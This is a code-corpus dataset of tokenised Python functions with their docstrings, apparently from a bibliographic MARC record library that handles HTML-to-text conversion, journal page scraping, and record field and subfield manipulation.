{"signature": "def handle_endtag(self, tag):", "body": "if tag in self.mathml_elements:<EOL><INDENT>self.fed.append(\"<STR_LIT>\".format(tag))<EOL><DEDENT>", "docstring": "Return representation of html end tag.", "id": "f7888:c0:m3"}
{"signature": "def handle_entityref(self, name):", "body": "self.fed.append('<STR_LIT>' % name)<EOL>", "docstring": "Return representation of entities.", "id": "f7888:c0:m4"}
{"signature": "def handle_charref(self, name):", "body": "self.fed.append('<STR_LIT>' % name)<EOL>", "docstring": "Return representation of numeric entities.", "id": "f7888:c0:m5"}
{"signature": "def get_data(self):", "body": "return '<STR_LIT>'.join(self.fed)<EOL>", "docstring": "Return all the stripped data.", "id": "f7888:c0:m6"}
{"signature": "@classmethod<EOL><INDENT>def html_to_text(cls, html):<DEDENT>", "body": "s = cls()<EOL>s.feed(html)<EOL>unescaped_data = s.unescape(s.get_data())<EOL>return escape_for_xml(unescaped_data, tags_to_keep=s.mathml_elements)<EOL>", "docstring": "Return stripped HTML, keeping only MathML.", "id": "f7888:c0:m7"}
{"signature": "def get_records(self, url):", "body": "page = urllib2.urlopen(url)<EOL>pages = [BeautifulSoup(page)]<EOL>numpag = pages[<NUM_LIT:0>].body.findAll('<STR_LIT>', attrs={'<STR_LIT:class>': '<STR_LIT>'})<EOL>if len(numpag) > <NUM_LIT:0>:<EOL><INDENT>if re.search('<STR_LIT>', numpag[<NUM_LIT:0>].string):<EOL><INDENT>for i in range(int(numpag[<NUM_LIT:0>].string)-<NUM_LIT:1>):<EOL><INDENT>page = urllib2.urlopen('<STR_LIT>' % (url, i+<NUM_LIT:2>))<EOL>pages.append(BeautifulSoup(page))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\" % (numpag[<NUM_LIT:0>].string))<EOL><DEDENT><DEDENT>impl = getDOMImplementation()<EOL>doc = impl.createDocument(None, \"<STR_LIT>\", None)<EOL>links = []<EOL>for page in pages:<EOL><INDENT>links += page.body.findAll('<STR_LIT:p>', attrs={'<STR_LIT:class>': '<STR_LIT:title>'})<EOL>links += page.body.findAll('<STR_LIT>', attrs={'<STR_LIT:class>': '<STR_LIT:title>'})<EOL><DEDENT>for link in links:<EOL><INDENT>record = self._get_record(link)<EOL>doc.firstChild.appendChild(record)<EOL><DEDENT>return doc.toprettyxml()<EOL>", "docstring": "Returns the records listed in the webpage given as\nparameter as a xml String.\n\n@param url: the url of the Journal, Book, Protocol or Reference work", "id": "f7889:c0:m2"}
{"signature": "def create_field(subfields=None, ind1='<STR_LIT:U+0020>', ind2='<STR_LIT:U+0020>', controlfield_value='<STR_LIT>',<EOL>global_position=-<NUM_LIT:1>):", "body": "if subfields is None:<EOL><INDENT>subfields = []<EOL><DEDENT>ind1, ind2 = _wash_indicators(ind1, ind2)<EOL>field = (subfields, ind1, ind2, controlfield_value, global_position)<EOL>_check_field_validity(field)<EOL>return field<EOL>", "docstring": "Return a field created with the provided elements.\n\nGlobal position is set arbitrary to -1.", "id": "f7891:m0"}
{"signature": "def create_records(marcxml, verbose=CFG_BIBRECORD_DEFAULT_VERBOSE_LEVEL,<EOL>correct=CFG_BIBRECORD_DEFAULT_CORRECT, parser='<STR_LIT>',<EOL>keep_singletons=CFG_BIBRECORD_KEEP_SINGLETONS):", "body": "<EOL>regex = re.compile('<STR_LIT>', re.DOTALL)<EOL>record_xmls = regex.findall(marcxml)<EOL>return [create_record(record_xml, verbose=verbose, correct=correct,<EOL>parser=parser, keep_singletons=keep_singletons)<EOL>for record_xml in record_xmls]<EOL>", "docstring": "Create a list of records from the marcxml description.\n\n:returns: a list of objects initiated by the function create_record().\n          Please see that function's docstring.", "id": "f7891:m1"}
{"signature": "def create_record(marcxml=None, verbose=CFG_BIBRECORD_DEFAULT_VERBOSE_LEVEL,<EOL>correct=CFG_BIBRECORD_DEFAULT_CORRECT, parser='<STR_LIT>',<EOL>sort_fields_by_indicators=False,<EOL>keep_singletons=CFG_BIBRECORD_KEEP_SINGLETONS):", "body": "if marcxml is None:<EOL><INDENT>return {}<EOL><DEDENT>try:<EOL><INDENT>rec = _create_record_lxml(marcxml, verbose, correct,<EOL>keep_singletons=keep_singletons)<EOL><DEDENT>except InvenioBibRecordParserError as ex1:<EOL><INDENT>return (None, <NUM_LIT:0>, str(ex1))<EOL><DEDENT>if sort_fields_by_indicators:<EOL><INDENT>_record_sort_by_indicators(rec)<EOL><DEDENT>errs = []<EOL>if correct:<EOL><INDENT>errs = _correct_record(rec)<EOL><DEDENT>return (rec, int(not errs), errs)<EOL>", "docstring": "Create a record object from the marcxml description.\n\n    Uses the lxml parser.\n\n    The returned object is a tuple (record, status_code, list_of_errors),\n    where status_code is 0 when there are errors, 1 when no errors.\n\n    The return record structure is as follows::\n\n        Record := {tag : [Field]}\n        Field := (Subfields, ind1, ind2, value)\n        Subfields := [(code, value)]\n\n    .. code-block:: none\n\n                                    .--------.\n                                    | record |\n                                    '---+----'\n                                        |\n               .------------------------+------------------------------------.\n               |record['001']           |record['909']        |record['520'] |\n               |                        |                     |              |\n        [list of fields]           [list of fields]     [list of fields]    ...\n               |                        |                     |\n               |               .--------+--+-----------.      |\n               |               |           |           |      |\n               |[0]            |[0]        |[1]       ...     |[0]\n          .----+------.  .-----+-----.  .--+--------.     .---+-------.\n          | Field 001 |  | Field 909 |  | Field 909 |     | Field 520 |\n          '-----------'  '-----+-----'  '--+--------'     '---+-------'\n               |               |           |                  |\n              ...              |          ...                ...\n                               |\n                    .----------+-+--------+------------.\n                    |            |        |            |\n                    |[0]         |[1]     |[2]         |\n          [list of subfields]   'C'      '4'          ...\n                    |\n               .----+---------------+------------------------+\n               |                    |                        |\n        ('a', 'value')              |            ('a', 'value for another a')\n                     ('b', 'value for subfield b')\n\n    :param marcxml: an XML string representation of the record to create\n    :param verbose: the level of verbosity: 0 (silent), 1-2 (warnings),\n                    3(strict:stop when errors)\n    :param correct: 1 to enable correction of marcxml syntax. Else 0.\n    :return: a tuple (record, status_code, list_of_errors), where status\n             code is 0 where there are errors, 1 when no errors", "id": "f7891:m2"}
{"signature": "def filter_field_instances(field_instances, filter_subcode, filter_value,<EOL>filter_mode='<STR_LIT:e>'):", "body": "matched = []<EOL>if filter_mode == '<STR_LIT:e>':<EOL><INDENT>to_match = (filter_subcode, filter_value)<EOL>for instance in field_instances:<EOL><INDENT>if to_match in instance[<NUM_LIT:0>]:<EOL><INDENT>matched.append(instance)<EOL><DEDENT><DEDENT><DEDENT>elif filter_mode == '<STR_LIT:s>':<EOL><INDENT>for instance in field_instances:<EOL><INDENT>for subfield in instance[<NUM_LIT:0>]:<EOL><INDENT>if subfield[<NUM_LIT:0>] == filter_subcode andsubfield[<NUM_LIT:1>].find(filter_value) > -<NUM_LIT:1>:<EOL><INDENT>matched.append(instance)<EOL>break<EOL><DEDENT><DEDENT><DEDENT><DEDENT>elif filter_mode == '<STR_LIT:r>':<EOL><INDENT>reg_exp = re.compile(filter_value)<EOL>for instance in field_instances:<EOL><INDENT>for subfield in instance[<NUM_LIT:0>]:<EOL><INDENT>if subfield[<NUM_LIT:0>] == filter_subcode andreg_exp.match(subfield[<NUM_LIT:1>]) is not None:<EOL><INDENT>matched.append(instance)<EOL>break<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return matched<EOL>", "docstring": "Filter the given field.\n\n    Filters given field and returns only that field instances that contain\n    filter_subcode with given filter_value. As an input for search function\n    accepts output from record_get_field_instances function. Function can be\n    run in three modes:\n\n    - 'e' - looking for exact match in subfield value\n    - 's' - looking for substring in subfield value\n    - 'r' - looking for regular expression in subfield value\n\n    Example:\n\n    record_filter_field(record_get_field_instances(rec, '999', '%', '%'),\n                        'y', '2001')\n\n    In this case filter_subcode is 'y' and filter_value is '2001'.\n\n    :param field_instances: output from record_get_field_instances\n    :param filter_subcode: name of the subfield\n    :type filter_subcode: string\n    :param filter_value: value of the subfield\n    :type filter_value: string\n    :param filter_mode: 'e','s' or 'r'", "id": "f7891:m3"}
{"signature": "def record_drop_duplicate_fields(record):", "body": "out = {}<EOL>position = <NUM_LIT:0><EOL>tags = sorted(record.keys())<EOL>for tag in tags:<EOL><INDENT>fields = record[tag]<EOL>out[tag] = []<EOL>current_fields = set()<EOL>for full_field in fields:<EOL><INDENT>field = (tuple(full_field[<NUM_LIT:0>]),) + full_field[<NUM_LIT:1>:<NUM_LIT:4>]<EOL>if field not in current_fields:<EOL><INDENT>current_fields.add(field)<EOL>position += <NUM_LIT:1><EOL>out[tag].append(full_field[:<NUM_LIT:4>] + (position,))<EOL><DEDENT><DEDENT><DEDENT>return out<EOL>", "docstring": "Return a record where all the duplicate fields have been removed.\n\nFields are considered identical considering also the order of their\nsubfields.", "id": "f7891:m4"}
{"signature": "def records_identical(rec1, rec2, skip_005=True, ignore_field_order=False,<EOL>ignore_subfield_order=False,<EOL>ignore_duplicate_subfields=False,<EOL>ignore_duplicate_controlfields=False):", "body": "rec1_keys = set(rec1.keys())<EOL>rec2_keys = set(rec2.keys())<EOL>if skip_005:<EOL><INDENT>rec1_keys.discard(\"<STR_LIT>\")<EOL>rec2_keys.discard(\"<STR_LIT>\")<EOL><DEDENT>if rec1_keys != rec2_keys:<EOL><INDENT>return False<EOL><DEDENT>for key in rec1_keys:<EOL><INDENT>if ignore_duplicate_controlfields and key.startswith('<STR_LIT>'):<EOL><INDENT>if set(field[<NUM_LIT:3>] for field in rec1[key]) !=set(field[<NUM_LIT:3>] for field in rec2[key]):<EOL><INDENT>return False<EOL><DEDENT>continue<EOL><DEDENT>rec1_fields = rec1[key]<EOL>rec2_fields = rec2[key]<EOL>if len(rec1_fields) != len(rec2_fields):<EOL><INDENT>return False<EOL><DEDENT>if ignore_field_order:<EOL><INDENT>rec1_fields = sorted(<EOL>rec1_fields,<EOL>key=lambda elem: (elem[<NUM_LIT:1>], elem[<NUM_LIT:2>], elem[<NUM_LIT:3>], elem[<NUM_LIT:0>]))<EOL>rec2_fields = sorted(<EOL>rec2_fields,<EOL>key=lambda elem: (elem[<NUM_LIT:1>], elem[<NUM_LIT:2>], elem[<NUM_LIT:3>], elem[<NUM_LIT:0>]))<EOL><DEDENT>else:<EOL><INDENT>rec1_fields = sorted(<EOL>rec1_fields,<EOL>key=lambda elem: (elem[<NUM_LIT:1>], elem[<NUM_LIT:2>], elem[<NUM_LIT:4>], elem[<NUM_LIT:3>], elem[<NUM_LIT:0>]))<EOL>rec2_fields = sorted(<EOL>rec2_fields,<EOL>key=lambda elem: (elem[<NUM_LIT:1>], elem[<NUM_LIT:2>], elem[<NUM_LIT:4>], elem[<NUM_LIT:3>], elem[<NUM_LIT:0>]))<EOL><DEDENT>for field1, field2 in zip(rec1_fields, rec2_fields):<EOL><INDENT>if ignore_duplicate_subfields:<EOL><INDENT>if field1[<NUM_LIT:1>:<NUM_LIT:4>] != field2[<NUM_LIT:1>:<NUM_LIT:4>] orset(field1[<NUM_LIT:0>]) != set(field2[<NUM_LIT:0>]):<EOL><INDENT>return False<EOL><DEDENT><DEDENT>elif ignore_subfield_order:<EOL><INDENT>if field1[<NUM_LIT:1>:<NUM_LIT:4>] != field2[<NUM_LIT:1>:<NUM_LIT:4>] orsorted(field1[<NUM_LIT:0>]) != sorted(field2[<NUM_LIT:0>]):<EOL><INDENT>return False<EOL><DEDENT><DEDENT>elif field1[:<NUM_LIT:4>] != field2[:<NUM_LIT:4>]:<EOL><INDENT>return False<EOL><DEDENT><DEDENT><DEDENT>return True<EOL>", "docstring": "Return True if rec1 is identical to rec2.\n\nIt does so regardless of a difference in the 005 tag (i.e. the timestamp).", "id": "f7891:m5"}
{"signature": "def record_get_field_instances(rec, tag=\"<STR_LIT>\", ind1=\"<STR_LIT:U+0020>\", ind2=\"<STR_LIT:U+0020>\"):", "body": "if not rec:<EOL><INDENT>return []<EOL><DEDENT>if not tag:<EOL><INDENT>return list(rec.items())<EOL><DEDENT>else:<EOL><INDENT>out = []<EOL>ind1, ind2 = _wash_indicators(ind1, ind2)<EOL>if '<STR_LIT:%>' in tag:<EOL><INDENT>for field_tag in rec:<EOL><INDENT>if _tag_matches_pattern(field_tag, tag):<EOL><INDENT>for possible_field_instance in rec[field_tag]:<EOL><INDENT>if (ind1 in ('<STR_LIT:%>', possible_field_instance[<NUM_LIT:1>]) and<EOL>ind2 in ('<STR_LIT:%>', possible_field_instance[<NUM_LIT:2>])):<EOL><INDENT>out.append(possible_field_instance)<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>for possible_field_instance in rec.get(tag, []):<EOL><INDENT>if (ind1 in ('<STR_LIT:%>', possible_field_instance[<NUM_LIT:1>]) and<EOL>ind2 in ('<STR_LIT:%>', possible_field_instance[<NUM_LIT:2>])):<EOL><INDENT>out.append(possible_field_instance)<EOL><DEDENT><DEDENT><DEDENT>return out<EOL><DEDENT>", "docstring": "Return the list of field instances for the specified tag and indications.\n\nReturn empty list if not found.\nIf tag is empty string, returns all fields\n\nParameters (tag, ind1, ind2) can contain wildcard %.\n\n:param rec: a record structure as returned by create_record()\n:param tag: a 3 characters long string\n:param ind1: a 1 character long string\n:param ind2: a 1 character long string\n:param code: a 1 character long string\n:return: a list of field tuples (Subfields, ind1, ind2, value,\n         field_position_global) where subfields is list of (code, value)", "id": "f7891:m6"}
{"signature": "def record_add_field(rec, tag, ind1='<STR_LIT:U+0020>', ind2='<STR_LIT:U+0020>', controlfield_value='<STR_LIT>',<EOL>subfields=None, field_position_global=None,<EOL>field_position_local=None):", "body": "error = _validate_record_field_positions_global(rec)<EOL>if error:<EOL><INDENT>pass<EOL><DEDENT>if subfields is None:<EOL><INDENT>subfields = []<EOL><DEDENT>ind1, ind2 = _wash_indicators(ind1, ind2)<EOL>if controlfield_value and (ind1 != '<STR_LIT:U+0020>' or ind2 != '<STR_LIT:U+0020>' or subfields):<EOL><INDENT>return -<NUM_LIT:1><EOL><DEDENT>tag_field_positions_global = {}.fromkeys([field[<NUM_LIT:4>]<EOL>for field in rec.get(tag, [])])<EOL>all_field_positions_global = {}.fromkeys([field[<NUM_LIT:4>]<EOL>for fields in list(rec.values())<EOL>for field in fields])<EOL>if field_position_global is None and field_position_local is None:<EOL><INDENT>if tag in rec:<EOL><INDENT>try:<EOL><INDENT>field_position_global = max([field[<NUM_LIT:4>] for field in rec[tag]])+ <NUM_LIT:1><EOL><DEDENT>except IndexError:<EOL><INDENT>if tag_field_positions_global:<EOL><INDENT>field_position_global = max(tag_field_positions_global) + <NUM_LIT:1><EOL><DEDENT>elif all_field_positions_global:<EOL><INDENT>field_position_global = max(all_field_positions_global) + <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>field_position_global = <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>if tag in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>if tag_field_positions_global:<EOL><INDENT>field_position_global = max(tag_field_positions_global) + <NUM_LIT:1><EOL><DEDENT>elif all_field_positions_global:<EOL><INDENT>field_position_global = max(all_field_positions_global) + <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>field_position_global = <NUM_LIT:1><EOL><DEDENT><DEDENT>else:<EOL><INDENT>immediate_lower_tag = '<STR_LIT>'<EOL>for rec_tag in rec:<EOL><INDENT>if (tag not in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>') and<EOL>rec[rec_tag] and<EOL>immediate_lower_tag < rec_tag < tag):<EOL><INDENT>immediate_lower_tag = rec_tag<EOL><DEDENT><DEDENT>if immediate_lower_tag == '<STR_LIT>':<EOL><INDENT>field_position_global = <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>field_position_global = rec[immediate_lower_tag][-<NUM_LIT:1>][<NUM_LIT:4>] + <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>field_position_local = len(rec.get(tag, []))<EOL>_shift_field_positions_global(rec, field_position_global, <NUM_LIT:1>)<EOL><DEDENT>elif field_position_local is not None:<EOL><INDENT>if tag in rec:<EOL><INDENT>if field_position_local >= len(rec[tag]):<EOL><INDENT>field_position_global = rec[tag][-<NUM_LIT:1>][<NUM_LIT:4>] + <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>field_position_global = rec[tag][field_position_local][<NUM_LIT:4>]<EOL><DEDENT>_shift_field_positions_global(rec, field_position_global, <NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>if all_field_positions_global:<EOL><INDENT>field_position_global = max(all_field_positions_global) + <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>field_position_global = <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>elif field_position_global is not None:<EOL><INDENT>if tag not in rec:<EOL><INDENT>if all_field_positions_global:<EOL><INDENT>field_position_global = max(all_field_positions_global) + <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>field_position_global = <NUM_LIT:1><EOL><DEDENT>field_position_local = <NUM_LIT:0><EOL><DEDENT>elif field_position_global < min(tag_field_positions_global):<EOL><INDENT>field_position_global = min(tag_field_positions_global)<EOL>_shift_field_positions_global(rec, min(tag_field_positions_global),<EOL><NUM_LIT:1>)<EOL>field_position_local = <NUM_LIT:0><EOL><DEDENT>elif field_position_global > max(tag_field_positions_global):<EOL><INDENT>field_position_global = max(tag_field_positions_global) + <NUM_LIT:1><EOL>_shift_field_positions_global(rec,<EOL>max(tag_field_positions_global) + <NUM_LIT:1>,<EOL><NUM_LIT:1>)<EOL>field_position_local = len(rec.get(tag, []))<EOL><DEDENT>else:<EOL><INDENT>if field_position_global in tag_field_positions_global:<EOL><INDENT>_shift_field_positions_global(rec, field_position_global, <NUM_LIT:1>)<EOL><DEDENT>field_position_local = <NUM_LIT:0><EOL>for position, field in enumerate(rec[tag]):<EOL><INDENT>if field[<NUM_LIT:4>] == field_position_global + <NUM_LIT:1>:<EOL><INDENT>field_position_local = position<EOL><DEDENT><DEDENT><DEDENT><DEDENT>newfield = (subfields, ind1, ind2, str(controlfield_value),<EOL>field_position_global)<EOL>rec.setdefault(tag, []).insert(field_position_local, newfield)<EOL>return field_position_global<EOL>", "docstring": "Add a new field into the record.\n\nIf field_position_global or field_position_local is specified then\nthis method will insert the new field at the desired position.\nOtherwise a global field position will be computed in order to\ninsert the field at the best position (first we try to keep the\norder of the tags and then we insert the field at the end of the\nfields with the same tag).\n\nIf both field_position_global and field_position_local are present,\nthen field_position_local takes precedence.\n\n:param rec: the record data structure\n:param tag: the tag of the field to be added\n:param ind1: the first indicator\n:param ind2: the second indicator\n:param controlfield_value: the value of the controlfield\n:param subfields: the subfields (a list of tuples (code, value))\n:param field_position_global: the global field position (record wise)\n:param field_position_local: the local field position (tag wise)\n:return: the global field position of the newly inserted field or -1 if the\n         operation failed", "id": "f7891:m7"}
{"signature": "def record_has_field(rec, tag):", "body": "return tag in rec<EOL>", "docstring": "Check if the tag exists in the record.\n\n:param rec: the record data structure\n:param the: field\n:return: a boolean", "id": "f7891:m8"}
{"signature": "def record_delete_field(rec, tag, ind1='<STR_LIT:U+0020>', ind2='<STR_LIT:U+0020>',<EOL>field_position_global=None, field_position_local=None):", "body": "error = _validate_record_field_positions_global(rec)<EOL>if error:<EOL><INDENT>pass<EOL><DEDENT>if tag not in rec:<EOL><INDENT>return False<EOL><DEDENT>ind1, ind2 = _wash_indicators(ind1, ind2)<EOL>deleted = []<EOL>newfields = []<EOL>if field_position_global is None and field_position_local is None:<EOL><INDENT>for field in rec[tag]:<EOL><INDENT>if field[<NUM_LIT:1>] != ind1 or field[<NUM_LIT:2>] != ind2:<EOL><INDENT>newfields.append(field)<EOL><DEDENT>else:<EOL><INDENT>deleted.append(field)<EOL><DEDENT><DEDENT>rec[tag] = newfields<EOL><DEDENT>elif field_position_global is not None:<EOL><INDENT>for field in rec[tag]:<EOL><INDENT>if (field[<NUM_LIT:1>] != ind1 and field[<NUM_LIT:2>] != ind2 or<EOL>field[<NUM_LIT:4>] != field_position_global):<EOL><INDENT>newfields.append(field)<EOL><DEDENT>else:<EOL><INDENT>deleted.append(field)<EOL><DEDENT><DEDENT>rec[tag] = newfields<EOL><DEDENT>elif field_position_local is not None:<EOL><INDENT>try:<EOL><INDENT>del rec[tag][field_position_local]<EOL><DEDENT>except IndexError:<EOL><INDENT>return []<EOL><DEDENT><DEDENT>if not rec[tag]:<EOL><INDENT>del rec[tag]<EOL><DEDENT>return deleted<EOL>", "docstring": "Delete the field with the given position.\n\nIf global field position is specified, deletes the field with the\ncorresponding global field position.\nIf field_position_local is specified, deletes the field with the\ncorresponding local field position and tag.\nElse deletes all the fields matching tag and optionally ind1 and\nind2.\n\nIf both field_position_global and field_position_local are present,\nthen field_position_local takes precedence.\n\n:param rec: the record data structure\n:param tag: the tag of the field to be deleted\n:param ind1: the first indicator of the field to be deleted\n:param ind2: the second indicator of the field to be deleted\n:param field_position_global: the global field position (record wise)\n:param field_position_local: the local field position (tag wise)\n:return: the list of deleted fields", "id": "f7891:m9"}
{"signature": "def record_delete_fields(rec, tag, field_positions_local=None):", "body": "if tag not in rec:<EOL><INDENT>return []<EOL><DEDENT>new_fields, deleted_fields = [], []<EOL>for position, field in enumerate(rec.get(tag, [])):<EOL><INDENT>if field_positions_local is None or position in field_positions_local:<EOL><INDENT>deleted_fields.append(field)<EOL><DEDENT>else:<EOL><INDENT>new_fields.append(field)<EOL><DEDENT><DEDENT>if new_fields:<EOL><INDENT>rec[tag] = new_fields<EOL><DEDENT>else:<EOL><INDENT>del rec[tag]<EOL><DEDENT>return deleted_fields<EOL>", "docstring": "Delete all/some fields defined with MARC tag 'tag' from record 'rec'.\n\n:param rec: a record structure.\n:type rec: tuple\n:param tag: three letter field.\n:type tag: string\n:param field_position_local: if set, it is the list of local positions\n    within all the fields with the specified tag, that should be deleted.\n    If not set all the fields with the specified tag will be deleted.\n:type field_position_local: sequence\n:return: the list of deleted fields.\n:rtype: list\n:note: the record is modified in place.", "id": "f7891:m10"}
{"signature": "def record_add_fields(rec, tag, fields, field_position_local=None,<EOL>field_position_global=None):", "body": "if field_position_local is None and field_position_global is None:<EOL><INDENT>for field in fields:<EOL><INDENT>record_add_field(<EOL>rec, tag, ind1=field[<NUM_LIT:1>],<EOL>ind2=field[<NUM_LIT:2>], subfields=field[<NUM_LIT:0>],<EOL>controlfield_value=field[<NUM_LIT:3>])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>fields.reverse()<EOL>for field in fields:<EOL><INDENT>record_add_field(<EOL>rec, tag, ind1=field[<NUM_LIT:1>], ind2=field[<NUM_LIT:2>],<EOL>subfields=field[<NUM_LIT:0>], controlfield_value=field[<NUM_LIT:3>],<EOL>field_position_local=field_position_local,<EOL>field_position_global=field_position_global)<EOL><DEDENT><DEDENT>return field_position_local<EOL>", "docstring": "Add the fields into the record at the required position.\n\nThe position is specified by the tag and the field_position_local in the\nlist of fields.\n\n:param rec: a record structure\n:param tag: the tag of the fields to be moved\n:param field_position_local: the field_position_local to which the field\n                             will be inserted. If not specified, appends\n                             the fields to the tag.\n:param a: list of fields to be added\n:return: -1 if the operation failed, or the field_position_local if it was\n         successful", "id": "f7891:m11"}
{"signature": "def record_move_fields(rec, tag, field_positions_local,<EOL>field_position_local=None):", "body": "fields = record_delete_fields(<EOL>rec, tag,<EOL>field_positions_local=field_positions_local)<EOL>return record_add_fields(<EOL>rec, tag, fields,<EOL>field_position_local=field_position_local)<EOL>", "docstring": "Move some fields to the position specified by 'field_position_local'.\n\n:param rec: a record structure as returned by create_record()\n:param tag: the tag of the fields to be moved\n:param field_positions_local: the positions of the fields to move\n:param field_position_local: insert the field before that\n                             field_position_local. If unspecified, appends\n                             the fields :return: the field_position_local\n                             is the operation was successful", "id": "f7891:m12"}
{"signature": "def record_delete_subfield(rec, tag, subfield_code, ind1='<STR_LIT:U+0020>', ind2='<STR_LIT:U+0020>'):", "body": "ind1, ind2 = _wash_indicators(ind1, ind2)<EOL>for field in rec.get(tag, []):<EOL><INDENT>if field[<NUM_LIT:1>] == ind1 and field[<NUM_LIT:2>] == ind2:<EOL><INDENT>field[<NUM_LIT:0>][:] = [subfield for subfield in field[<NUM_LIT:0>]<EOL>if subfield_code != subfield[<NUM_LIT:0>]]<EOL><DEDENT><DEDENT>", "docstring": "Delete all subfields with subfield_code in the record.", "id": "f7891:m13"}
{"signature": "def record_get_field(rec, tag, field_position_global=None,<EOL>field_position_local=None):", "body": "if field_position_global is None and field_position_local is None:<EOL><INDENT>raise InvenioBibRecordFieldError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>elif field_position_global is not None andfield_position_local is not None:<EOL><INDENT>raise InvenioBibRecordFieldError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>elif field_position_global:<EOL><INDENT>if tag not in rec:<EOL><INDENT>raise InvenioBibRecordFieldError(\"<STR_LIT>\" % tag)<EOL><DEDENT>for field in rec[tag]:<EOL><INDENT>if field[<NUM_LIT:4>] == field_position_global:<EOL><INDENT>return field<EOL><DEDENT><DEDENT>raise InvenioBibRecordFieldError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (tag, field_position_global))<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>return rec[tag][field_position_local]<EOL><DEDENT>except KeyError:<EOL><INDENT>raise InvenioBibRecordFieldError(\"<STR_LIT>\" % tag)<EOL><DEDENT>except IndexError:<EOL><INDENT>raise InvenioBibRecordFieldError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (tag, field_position_local))<EOL><DEDENT><DEDENT>", "docstring": "Return the the matching field.\n\nOne has to enter either a global field position or a local field position.\n\n:return: a list of subfield tuples (subfield code, value).\n:rtype: list", "id": "f7891:m14"}
{"signature": "def record_replace_field(rec, tag, new_field, field_position_global=None,<EOL>field_position_local=None):", "body": "if field_position_global is None and field_position_local is None:<EOL><INDENT>raise InvenioBibRecordFieldError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>elif field_position_global is not None andfield_position_local is not None:<EOL><INDENT>raise InvenioBibRecordFieldError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>elif field_position_global:<EOL><INDENT>if tag not in rec:<EOL><INDENT>raise InvenioBibRecordFieldError(\"<STR_LIT>\" % tag)<EOL><DEDENT>replaced = False<EOL>for position, field in enumerate(rec[tag]):<EOL><INDENT>if field[<NUM_LIT:4>] == field_position_global:<EOL><INDENT>rec[tag][position] = new_field<EOL>replaced = True<EOL><DEDENT><DEDENT>if not replaced:<EOL><INDENT>raise InvenioBibRecordFieldError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" %<EOL>(tag, field_position_global))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>rec[tag][field_position_local] = new_field<EOL><DEDENT>except KeyError:<EOL><INDENT>raise InvenioBibRecordFieldError(\"<STR_LIT>\" % tag)<EOL><DEDENT>except IndexError:<EOL><INDENT>raise InvenioBibRecordFieldError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (tag, field_position_local))<EOL><DEDENT><DEDENT>", "docstring": "Replace a field with a new field.", "id": "f7891:m15"}
{"signature": "def record_get_subfields(rec, tag, field_position_global=None,<EOL>field_position_local=None):", "body": "field = record_get_field(<EOL>rec, tag,<EOL>field_position_global=field_position_global,<EOL>field_position_local=field_position_local)<EOL>return field[<NUM_LIT:0>]<EOL>", "docstring": "Return the subfield of the matching field.\n\nOne has to enter either a global field position or a local field position.\n\n:return: a list of subfield tuples (subfield code, value).\n:rtype:  list", "id": "f7891:m16"}
{"signature": "def record_delete_subfield_from(rec, tag, subfield_position,<EOL>field_position_global=None,<EOL>field_position_local=None):", "body": "subfields = record_get_subfields(<EOL>rec, tag,<EOL>field_position_global=field_position_global,<EOL>field_position_local=field_position_local)<EOL>try:<EOL><INDENT>del subfields[subfield_position]<EOL><DEDENT>except IndexError:<EOL><INDENT>raise InvenioBibRecordFieldError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" %<EOL>{\"<STR_LIT>\": subfield_position,<EOL>\"<STR_LIT>\": str(field_position_local),<EOL>\"<STR_LIT>\": str(field_position_global),<EOL>\"<STR_LIT>\": tag})<EOL><DEDENT>if not subfields:<EOL><INDENT>if field_position_global is not None:<EOL><INDENT>for position, field in enumerate(rec[tag]):<EOL><INDENT>if field[<NUM_LIT:4>] == field_position_global:<EOL><INDENT>del rec[tag][position]<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>del rec[tag][field_position_local]<EOL><DEDENT>if not rec[tag]:<EOL><INDENT>del rec[tag]<EOL><DEDENT><DEDENT>", "docstring": "Delete subfield from position specified.\n\nSpecify the subfield by tag, field number and subfield position.", "id": "f7891:m17"}
{"signature": "def record_add_subfield_into(rec, tag, subfield_code, value,<EOL>subfield_position=None,<EOL>field_position_global=None,<EOL>field_position_local=None):", "body": "subfields = record_get_subfields(<EOL>rec, tag,<EOL>field_position_global=field_position_global,<EOL>field_position_local=field_position_local)<EOL>if subfield_position is None:<EOL><INDENT>subfields.append((subfield_code, value))<EOL><DEDENT>else:<EOL><INDENT>subfields.insert(subfield_position, (subfield_code, value))<EOL><DEDENT>", "docstring": "Add subfield into specified position.\n\n    Specify the subfield by tag, field number and optionally by subfield\n    position.", "id": "f7891:m18"}
